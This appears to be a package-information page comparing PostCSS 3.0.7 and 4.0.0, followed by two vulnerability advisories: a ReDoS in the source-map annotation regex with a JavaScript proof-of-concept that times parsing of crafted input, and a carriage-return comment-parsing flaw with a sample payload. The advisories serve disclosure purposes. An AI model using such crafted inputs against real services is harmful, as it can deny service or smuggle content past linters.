PostCSS version 4.0.0 represents an incremental update to the widely-used CSS post-processing framework, building upon the foundation laid by version 3.0.7. Both versions provide developers with powerful tools for transforming CSS with JavaScript, enabling tasks like vendor prefixing, future CSS syntax usage, and advanced optimizations.
Key differences between the two versions lie primarily in the updated development dependencies. Version 4.0.0 includes upgrades to tools like 6to5 (now Babel), chai, and request. While these updates might not directly impact the core functionality experienced by end-users, they reflect improvements in the development workflow, testing, and build processes. A notable change is the source-map dependency updated from version 0.1.40 to 0.1.41, which is important for debugging. concat-with-sourcemaps is updated to version 1.0.0 from version 0.1.6.
For developers already using PostCSS, the upgrade to 4.0.0 should be seamless, especially if their workflows are not heavily reliant on specific versions of the listed development dependencies. New users will benefit from a more modern and streamlined development environment, potentially leading to faster build times and improved code quality. The core APIs and primary features of PostCSS remain consistent, ensuring that existing plugins and configurations will continue to function as expected. Both versions leverage the same fundamental dependencies like js-base64, demonstrating a commitment to stability and backward compatibility. The MIT license and consistent author information also assure users of ongoing support and maintenance.
All the vulnerabilities related to the version 4.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.